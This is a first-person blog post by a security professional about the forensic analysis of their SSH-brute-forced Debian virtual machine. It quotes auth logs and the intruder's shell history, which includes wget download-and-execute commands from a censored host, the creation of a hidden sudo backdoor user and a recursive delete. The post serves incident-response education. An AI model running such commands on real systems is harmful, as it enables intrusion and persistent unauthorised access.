IT security is a complex field, which makes protecting goods and data against attacks a really difficult and ongoing challenge. As a security professional, I give lots of people advice on how to protect themselves. What only few people know: We professionals struggle with security practices, too! And sometimes, we do stupid things. I will tell you the story of how one of my systems was compromised, what I did wrong and how I used simple forensics and some tricks to find out more about my hacker.
The alert
A sound interrupts my flow. I was in “the tunnel”, coding away some lines of software code that would finally fix a vicious bug I was having. It was my phone. A colleague sent me an instant message. Something was broken, it said. Check your mails, it said. There was no rush, I thought. The machine is unused. I just set it up the day before. It had nothing on it, and nobody was using it. But, how could my colleague even notice that “it is broken”? Who would ever complain about an unused computer? I opened my email program, and saw the mail. It was sent from an “abuse@” address. Subject: “Compromised system?”. Shit.
A machine on the network was acting weird. It was scanning other computers, trying passwords and being generally obtrusive towards other devices. I recognized the origin IP. I had assigned it the day before. I had named the computer. I set up the operating system. I immediately knew what happened.
A naive “professional”
The day before, I set up a virtual machine on the internal network. I installed Debian, just a normal operating system with up-to-date software and a very minimal amount of preinstalled software. Only remote access was required, as with virtual machines, you do not have access to a real computer. The prospective user did not request any additional configuration, so I simply created a user account, set a password and called it a day.
Username: user, Password: password
My expectations were naive. I assumed the user would change the password, also it’s not like the IP to the machine was publicly known. It did not help that the machine was connected to the Internet and not limited by any security measures. Firewalls? What are those? Note that I wrote a whole thesis about hackers and their behaviour. I still did not expect this to happen. I. Am. Stupid.
Common misconceptions
To the regular person, hacking sounds like science fiction. A lonely hacker has identified its target, a known company or a person. By only using a computer, the hacker is able to enter protected systems, circumvent highly technical security measures, and steals private data.
Reality is a little bit different. There is no lonely hacker, but a massive amount of compromised computers, a bot network. Hacking is not the art of entering complex commands into a computer, instead it is more like turning on a switch and the computer processes a list of commands, automatically. If the hacker, the person behind an attack, is a good one, the switch not only acts on one machine, but on thousands or millions of computers, all processing the same list of commands.
IP addresses are not secret. They are not even hard to guess. There is a limited number of addresses. An IP is composed of 4 numbers, each one ranging between 0 and 255. You can iterate through them starting with 0.0.0.0 and ending with 255.255.255.255. Most computers that are directly connected to the Internet can be addressed with an IP. There are software scanners that do this automatically, like masscan, which “can scan the entire Internet in under 6 minutes”.
The Internet is constantly scanned and monitored, by researchers, companies and the bad guys. Ask your home router, it will tell you the craziest stories about this.
The last lesson as a security person that I should have thought about is: Users never behave the way you want them to. You can not expect people to follow security advice. So never blame the user when security measures fail. In my case, I was the one setting the weakest user password in the world. Even if the user would have reacted immediately, there would still be a time frame where I connected a system to the Internet with an easy-to-guess password.
The forensic analysis
Since it was an unused virtual machine, it was pretty easy to get back the control. First, I had to turn it off, which is one click on my machine. Next, I had several options: Disconnect it from the Internet and turn it back on, or simply trash the whole thing and create a new machine. I opted for solution 3, loading a snapshot of the machine from before the compromise happened. I simply “restored” the machine to a previous state, which effectively deletes any traces of intrusions, any virus and any program that was put there after that moment.
Before that, I saved the hard drive contents to an image file. This is basically a digital version of every file that is on the machine. In order to find out what happened, I needed to know what changes were made to the machine.
Once I resetted the machine to a previous state, disconnected the machine from the Internet and changed the password to a really secure 32 characters phrase, I could start with the analysis of the compromised hard drive. In general, hard drive images can be “mounted”, which means that they act like external USB drives and you can simply look at the data. In the following, a more technical part is explained, so if you are not interested you can skip to the “Attack” section.
Lots of traces
The exact moment of the intrusion can be found in the auth.log file, which shows how the hacker used a bruteforce attack to try a list of passwords. More precisely, this is called a dictionary attack, a method where password lists with the most used or the most probable passwords are used. This is faster that a raw bruteforce attack, but does not always succeed if the password is unusual enough. As you know, I used a pretty common password, so after a whole night of attempts, a successful login was logged in the morning, at 10am:
Apr 28 10:34:45 pc-181 sshd[5309]: Accepted password for user from 92.86.107.136 port 40873 ssh2
Apr 28 10:34:45 pc-181 sshd[5309]: pam_unix(sshd:session): session opened for user user by (uid=0)
Apr 28 10:34:45 pc-181 systemd-logind[378]: New session 353 of user user.
Apr 28 10:35:14 pc-181 sudo: user : TTY=pts/0 ; PWD=/home/user ; USER=root ; COMMAND=/usr/bin/su
Apr 28 10:35:14 pc-181 sudo: pam_unix(sudo:session): session opened for user root by user(uid=0)
Apr 28 10:35:14 pc-181 su: (to root) user on pts/0
Apr 28 10:35:14 pc-181 su: pam_unix(su:session): session opened for user root by user(uid=0)
Apr 28 10:35:27 pc-181 sshd[5247]: pam_unix(sshd:session): session closed for user user
Apr 28 10:35:27 pc-181 systemd-logind[378]: Session 345 logged out. Waiting for processes to exit.
Apr 28 10:35:27 pc-181 systemd-logind[378]: Removed session 345.
Apr 28 10:35:31 pc-181 sshd[5331]: Accepted password for user from 89.39.105.84 port 39855 ssh2
Apr 28 10:35:31 pc-181 sshd[5331]: pam_unix(sshd:session): session opened for user user by (uid=0)
Apr 28 10:35:31 pc-181 systemd-logind[378]: New session 354 of user user.
Apr 28 10:40:12 pc-181 groupadd[5924]: group added to /etc/group: name=ddos, GID=1001
Apr 28 10:40:13 pc-181 groupadd[5924]: group added to /etc/gshadow: name=ddos
Apr 28 10:40:13 pc-181 groupadd[5924]: new group: name=ddos, GID=1001
Apr 28 10:40:13 pc-181 useradd[5928]: new user: name=ddos, UID=1001, GID=1001, home=/home/ddos, shell=/bin/bash
Apr 28 10:40:23 pc-181 passwd[5936]: pam_unix(passwd:chauthtok): password changed for ddos
Apr 28 10:40:25 pc-181 chfn[5937]: changed user 'ddos' information
Apr 28 10:41:28 pc-181 sshd[5299]: pam_unix(sshd:session): session closed for user user
Apr 28 10:41:28 pc-181 systemd-logind[378]: Session 352 logged out. Waiting for processes to exit.
Apr 28 10:41:28 pc-181 systemd-logind[378]: Removed session 352.This is the relevant part, and if you are experienced, you already see what happened. The password of “user” was guessed correctly, and the login is successful. By calling su, the hacker discoveres that the user has root privileges. So the first action is to create a new user, called “ddos”. This is often done to have a backup user in case that the actual user changes the password.
The next file to look at is the .bash_history file, which contains any commands entered by a user during a terminal session. Every user on a system has an own bash_history file, and since the hacker did not delete the file or disable the logging, we can see what the actual commands were (comments added by me):
nproc # shows number of processors
ls # shows files in current directory
w # shows who is logged into the machine and what they are doing
last # shows a list of logins in the past
sudo su # get root privileges
passwd # change password
sudo suThe first 4 commands are typically used to assess the state of the machine that you accessed. As a hacker, it makes sense to find out what machine you are accessing, if it is a real machine (e.g. by looking at the CPU information) and if it is actively used. Now the above snippet is the whole file content. As you can see, by using su the hacker changed to the “root” user. So how do we find out what happened after that? Correct, we look into the bash history of the root user:
ls
vi /etc/sudoers
sudo passwd
sudo passwd
sudo passwd
ls
cd
ls -a
wget bsXXXXXX.com/dinfo
yum
apt
apt install wget perl python
wget bsXXXXXX.com/dinfo
chmod +x *
./dinfo
apt
apt install curl
clear
./dinfo
uname -a
cd /home
adduser ddos
usermod ddos -aG sudo
mv ddos /usr
cd /usr
ls
mv ddos .ddos
cd
wget bsXXXXXX.com/findusers
chmod +x *
./findusers
rm -rf *
exitI censored the URL that was downloaded from, but here you can see the inside view of the previous auth log. A few binaries and scripts were downloaded to the machine in order to execute them. I was able to use the same URLs to inspect the scripts, which I later used to identify who my hacker was. From the names, you can infer what may have happened: the attacker used some prepared scripts to find out more about the system. The attacker even had to install some software, as Python, curl or other regular tools were not preinstalled.
There is also a clue here that this might not be an automated attack, but a real human attacker that entered the commands manually. Can you spot it? The solution is on the bottom of this post¹.
The attack
Now the hacker had full control of my machine, and I found out that a lot of software was uploaded to my machine. Where possible, I manually analyzed the files, but some binaries, which are executable softwares in binary format, required too much effort, so the first step when analyzing those is using online scanners like VirusTotal. This is a basic malware scan for files, and if the file is already known to antivirus vendors, it gives you clues on what it does.
Now, you remember how I found out about the attack? I was notified about unusual activites from the machine. You can see in the screenshot that the software responsible for this was an SSH bruteforcer. A program that attempts to login in other machines of the same network. I even found the potential source code for the program:
It seems like the software was created by Romanian-speaking people. I found more references to Romania looking at variable names, output strings and comments. Whoever these groups are, they have this proud wannabe-hacker mentality, using philosophical quotes in their code, their website and logos:
The hackers proceeded to boast about their amazing hacking talent throughout different other tools I found. They also linked to their tools on their website, so I could inspect, download and reupload their software without problems.
I spent a lot of time on hacker forums, channels and similar communities. One thing that angers all the malware and hacking tool authors: When people upload their software to VirusTotal. You should know that VirusTotal distributes software to every antivirus vendor when an unknown one is uploaded to their servers. This means that, even if a software is not detected by any antivirus, it soon will be. That is what I did with all of their software tools.
Except for visiting their website, I also used geo-ip lookup services to look up their IP. These services are not precise, even though you get a marker on a Google map that indicates “where an IP is located”. This is almost always a rather random location, such as an ISP node or similar. But from my experience, it is at least somewhat precise about the country, since certain IP ranges are bound to certain countries and regions.
Using the GPS coordinates, you can pinpoint the location on a map:
If this would be a serious case of cyber criminals, this information might help find out more about the hacker’s location and would be forwarded to the local authorities. In my case, this only confirms that the attackers might really be from Romania.
At this point, I stopped the search for more information, as there are really more interesting things to do with your life than searching for unskilled Romanian hackers. At least, I was able to find out what happened, isolate and revert the machine and even learn a few things about how “hackers” operate.
And I have this story to tell people, a story about a security expert that did stupid things and got hacked.
¹The solution to the above riddle:
The attacker used the clear command, which is used to remove the screen contents in a terminal window. This is not necessary and has no effect for automated attacks. This is a pretty good hint that the actions around this command might have been executed by a human.
Be First to Comment